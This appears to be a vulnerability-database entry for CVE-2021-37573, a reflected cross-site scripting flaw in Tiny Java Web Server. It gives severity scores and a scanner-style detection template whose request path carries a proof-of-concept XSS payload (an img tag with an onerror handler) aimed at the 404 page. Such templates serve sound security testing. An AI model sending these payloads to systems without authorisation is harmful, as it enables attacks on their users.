CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
69.8%
A reflected cross-site scripting vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server’s “404 Page not Found” error page.
id: CVE-2021-37573
info:
name: Tiny Java Web Server - Cross-Site Scripting
author: geeknik
severity: medium
description: A reflected cross-site scripting vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server's "404 Page not Found" error page.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
reference:
- https://seclists.org/fulldisclosure/2021/Aug/13
- https://nvd.nist.gov/vuln/detail/CVE-2021-37573
- https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-042.txt
- http://seclists.org/fulldisclosure/2021/Aug/13
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-37573
cwe-id: CWE-79
epss-score: 0.00303
epss-percentile: 0.69609
cpe: cpe:2.3:a:tiny_java_web_server_project:tiny_java_web_server:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: tiny_java_web_server_project
product: tiny_java_web_server
tags: cve2021,cve,xss,tjws,java,seclists,tiny_java_web_server_project
http:
- method: GET
path:
- "{{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<H2>404 te<img src=x onerror=alert(42)>st not found</H2>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 404
# digest: 490a0046304402201737588b1087e5a4619955fe2a940685f0fda3bf66bf1e41cf7ebfa3d47389e402207ee672e47fd531b7a5d9b488aa08d95bcdff982987689acec457d3797c75c924:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
69.8%